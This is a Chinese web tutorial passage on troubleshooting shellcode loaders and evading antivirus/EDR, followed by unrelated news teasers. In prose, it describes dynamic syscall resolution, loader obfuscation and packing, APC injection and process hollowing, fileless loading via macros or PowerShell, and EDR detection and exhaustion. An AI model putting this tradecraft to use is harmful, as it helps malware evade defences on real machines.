常見問題與排查技巧實錄在實際操作中你會遇到各種各樣的問題。這里記錄一些我踩過的坑和解決方法。問題1Shellcode執(zhí)行后進(jìn)程崩潰無任何現(xiàn)象??赡茉?Shellcode加密/解密錯誤。這是最常見的問題。務(wù)必確保加密和解密算法、密鑰完全一致。在解密后、執(zhí)行前將內(nèi)存中的內(nèi)容寫入文件與原始Shellcode文件進(jìn)行二進(jìn)制比較。可能原因2內(nèi)存權(quán)限問題。確保申請的內(nèi)存具有PAGE_EXECUTE_READ或PAGE_EXECUTE_READWRITE權(quán)限。在調(diào)用Shellcode前可以使用VirtualQuery檢查內(nèi)存區(qū)域?qū)傩???赡茉?Shellcode本身不兼容。不同工具生成的Shellcode可能有不同的環(huán)境假設(shè)如棧對齊要求、API調(diào)用約定。特別是32位和64位Shellcode不能混用。確保Shellcode的架構(gòu)x86/x64與加載器編譯的架構(gòu)一致。排查技巧在調(diào)試器中如x64dbg單步跟入Shellcode。觀察在CreateThread或直接跳轉(zhuǎn)后第一條指令是否被正確執(zhí)行。檢查棧指針RSP是否合理。問題2直接系統(tǒng)調(diào)用Syscall在不同Windows版本上失效。原因系統(tǒng)調(diào)用號隨版本變化。硬編碼必然導(dǎo)致兼容性問題。解決方案必須實現(xiàn)系統(tǒng)調(diào)用號的動態(tài)解析。常見方法是從磁盤或內(nèi)存中讀取本機(jī)的ntdll.dll。解析其PE結(jié)構(gòu)找到目標(biāo)函數(shù)如NtAllocateVirtualMemory的代碼段。在該函數(shù)代碼的開頭附近定位mov eax, SSN指令x64下可能是mov r10, rcx; mov eax, SSN從中提取出系統(tǒng)調(diào)用號SSN。將提取的SSN用于你自己的syscall存根。工具推薦可以使用像SysWhispers2或HellsGate/HalosGate這樣的開源項目它們已經(jīng)實現(xiàn)了健壯的動態(tài)SSN解析。問題3加載器本身被檢測即使Shellcode是加密的。原因加載器的行為模式如連續(xù)的VirtualAlloc、WriteProcessMemory、CreateThread調(diào)用或靜態(tài)特征如字符串、導(dǎo)入函數(shù)被識別。解決方案混淆加載器使用OLLVM、Tigress等源碼混淆器或VMProtect、Themida等商業(yè)加殼工具對加載器二進(jìn)制進(jìn)行保護(hù)。注意選擇特征不明顯的殼。拆分行為將內(nèi)存申請、寫入、執(zhí)行的操作在時間上或邏輯上拆分開。例如先申請內(nèi)存過一段時間或等待某個事件后再寫入Shellcode再等待更長時間后才創(chuàng)建線程。使用更隱蔽的注入技術(shù)放棄CreateThread改用APC、線程劫持或進(jìn)程鏤空。無文件落地考慮完全不使用獨(dú)立的加載器EXE而是將加載邏輯寫成一段Shellcode通過PowerShell、VBS、Word宏等方式直接加載到內(nèi)存中執(zhí)行實現(xiàn)“無文件”攻擊。問題4在裝有高級EDR的機(jī)器上Shellcode執(zhí)行被阻斷但進(jìn)程未崩潰。原因EDR的行為檢測模塊攔截了敏感操作如遠(yuǎn)程線程創(chuàng)建、內(nèi)存屬性修改并采取了“終止操作但允許進(jìn)程繼續(xù)運(yùn)行”的溫和策略。排查與對抗檢查返回值仔細(xì)檢查每個敏感API的返回值EDR可能返回一個錯誤碼如ACCESS_DENIED而非直接使進(jìn)程崩潰。嘗試降級技術(shù)如果直接系統(tǒng)調(diào)用被內(nèi)核層監(jiān)控嘗試回退到使用被Hook的用戶態(tài)API但通過更復(fù)雜的調(diào)用鏈或偽裝參數(shù)來繞過。探測EDR存在在執(zhí)行敏感操作前先嘗試探測EDR的存在如檢查特定驅(qū)動、進(jìn)程、注冊表項。如果探測到則進(jìn)入“靜默模式”或執(zhí)行無害的備用邏輯。資源限制EDR的深度監(jiān)控消耗資源??梢試L試通過快速、大量地發(fā)起合法系統(tǒng)調(diào)用如反復(fù)打開/關(guān)閉文件來對EDR代理進(jìn)行“資源耗盡”攻擊以期在其繁忙時執(zhí)行惡意操作此方法成功率低且不道德僅作研究討論。這個領(lǐng)域沒有銀彈真正的免殺是技術(shù)、耐心和對攻防雙方深刻理解的結(jié)合。每一次成功的繞過都建立在對系統(tǒng)更深一層的認(rèn)知之上。保持學(xué)習(xí)謹(jǐn)慎測試永遠(yuǎn)不要在未經(jīng)授權(quán)的系統(tǒng)上進(jìn)行實踐。

相關(guān)新聞

魔法函數(shù).

魔法函數(shù).

1 定義魔法函數(shù)是 Python 中以雙下劃線開頭和結(jié)尾的特殊方法,它們定義了類的行為,讓對象能夠響應(yīng)各種操作。2 字符串表示__init__ 初始化函數(shù) __str__ 普通用戶查看 __repr__ 開發(fā)人員查看class Person:def __init__(self, name, age):self.name names…

2026/8/4 5:42:50 閱讀更多
航天級SSD的壽命挑戰(zhàn)與關(guān)鍵技術(shù)解析

航天級SSD的壽命挑戰(zhàn)與關(guān)鍵技術(shù)解析

1. 航天級SSD的嚴(yán)苛壽命挑戰(zhàn)在軌衛(wèi)星的存儲系統(tǒng)面臨著一系列極端環(huán)境考驗。與消費(fèi)級SSD不同,航天器上的固態(tài)硬盤需要在真空、極端溫度、宇宙射線輻射等條件下持續(xù)工作5年以上。我曾參與過某遙感衛(wèi)星存儲系統(tǒng)的設(shè)計評審,親眼見過一塊在軌運(yùn)行3年的SSD拆解…

2026/8/4 5:42:50 閱讀更多
配電網(wǎng)抗臺風(fēng)應(yīng)急電源優(yōu)化配置與魯棒調(diào)度策略

配電網(wǎng)抗臺風(fēng)應(yīng)急電源優(yōu)化配置與魯棒調(diào)度策略

1. 項目背景與核心價值去年參與某沿海城市電網(wǎng)抗臺風(fēng)項目時,我深刻體會到應(yīng)急電源配置對配電網(wǎng)韌性的關(guān)鍵作用。當(dāng)臺風(fēng)導(dǎo)致主干線路癱瘓,預(yù)先部署的移動電源車(MPS)成為維持醫(yī)院、通信基站等關(guān)鍵負(fù)荷供電的最后防線。這正是我們今…

2026/8/4 5:42:50 閱讀更多
自動化媒體流水線:基于 Whisper 與 LLM 的播客轉(zhuǎn)寫與摘要生成

自動化媒體流水線:基于 Whisper 與 LLM 的播客轉(zhuǎn)寫與摘要生成

自動化媒體流水線:基于 Whisper 與 LLM 的播客轉(zhuǎn)寫與摘要生成 對于獨(dú)立開發(fā)者和長內(nèi)容創(chuàng)作者而言,將動輒數(shù)小時的音頻播客轉(zhuǎn)換為帶精確定效字幕的 Markdown 文章與社交媒體摘要,需要消耗大量時間。本文設(shè)計并實現(xiàn)一套零依賴、本地優(yōu)先的自動化…

2026/8/4 6:52:54 閱讀更多
清華大學(xué)重磅EST:植物自導(dǎo)電閃蒸焦耳熱600°C/2600°C兩步法!稀土超積累植物秒級轉(zhuǎn)化為CeO?-石墨烯電催化劑!

清華大學(xué)重磅EST:植物自導(dǎo)電閃蒸焦耳熱600°C/2600°C兩步法!稀土超積累植物秒級轉(zhuǎn)化為CeO?-石墨烯電催化劑!

通訊作者:鄧兵、劉建國通訊單位:清華大學(xué)DOI:https://doi.org/10.1021/acs.est.6c00603研究背景稀土元素(REEs)是清潔能源技術(shù)與電子器件不可或缺的核心原料,然而傳統(tǒng)提取方式依賴能耗高、排放大的采礦與強(qiáng)…

2026/8/4 0:01:30 閱讀更多
貴州師范大學(xué)JCIS:混合焓調(diào)控設(shè)計PtCoNiCuCr高熵合金!ORR半波電位0.89 V/質(zhì)量活性2.4倍Pt/C!

貴州師范大學(xué)JCIS:混合焓調(diào)控設(shè)計PtCoNiCuCr高熵合金!ORR半波電位0.89 V/質(zhì)量活性2.4倍Pt/C!

研究背景質(zhì)子交換膜燃料電池(PEMFCs)因其高能量轉(zhuǎn)換效率和清潔零排放特性備受關(guān)注,然而陰極氧還原反應(yīng)(ORR)動力學(xué)遲緩、鉑催化劑成本高昂且耐久性不足的問題嚴(yán)重制約了其商業(yè)化進(jìn)程。將 Pt 與 3d 過渡金屬合金化可調(diào)控…

2026/8/4 0:01:30 閱讀更多
福州大學(xué)/清華大學(xué)AFM:脈沖焦耳熱900°C/1s合成Co?Cu催化劑,寬電位NH?法拉第效率~100%,MEA穩(wěn)定300h

福州大學(xué)/清華大學(xué)AFM:脈沖焦耳熱900°C/1s合成Co?Cu催化劑,寬電位NH?法拉第效率~100%,MEA穩(wěn)定300h

通訊作者:萬宇馳、張久俊、呂瑞濤通訊單位:福州大學(xué) 、清華大學(xué)DOI:https://doi.org/10.1002/adfm.76112核心導(dǎo)讀:本文提出"分步升級"廢硝酸鹽處理新路線——利用廢水中的金屬離子經(jīng)快速焦耳熱(40V&#xff…

2026/8/4 0:01:30 閱讀更多
3分鐘搞定!QQ空間歷史說說完整備份終極指南

3分鐘搞定!QQ空間歷史說說完整備份終極指南

3分鐘搞定!QQ空間歷史說說完整備份終極指南 【免費(fèi)下載鏈接】GetQzonehistory 獲取QQ空間發(fā)布的歷史說說 項目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory 你是否曾想過,那些年發(fā)過的QQ空間說說,那些記錄青春的文字…

2026/8/3 12:53:38 閱讀更多
AMAT 0100-02186 I/O 分配 PCB

AMAT 0100-02186 I/O 分配 PCB

AMAT 0100-02186 I/O分配PCB板是應(yīng)用材料(Applied Materials)公司生產(chǎn)的一款用于半導(dǎo)體設(shè)備的I/O信號分配電路板。該型號(0100-02186)的核心特點如下:專用于Endura等半導(dǎo)體工藝腔室。集成信號路由與分配功能。連接控制…

2026/8/3 19:34:52 閱讀更多
Nissei Corp FFMN-32L-10-T0 40AX 三相異步電動機(jī)

Nissei Corp FFMN-32L-10-T0 40AX 三相異步電動機(jī)

Nissei Corp FFMN-32L-10-T0 40AX 三相異步電動機(jī)是日本日清(Nissei)品牌的一款工業(yè)用三相異步電機(jī),適用于自動化設(shè)備及通用機(jī)械驅(qū)動。該型號(FFMN-32L-10-T0 40AX)的核心特點如下:三相交流異步電動機(jī)。額定…

2026/8/3 19:34:54 閱讀更多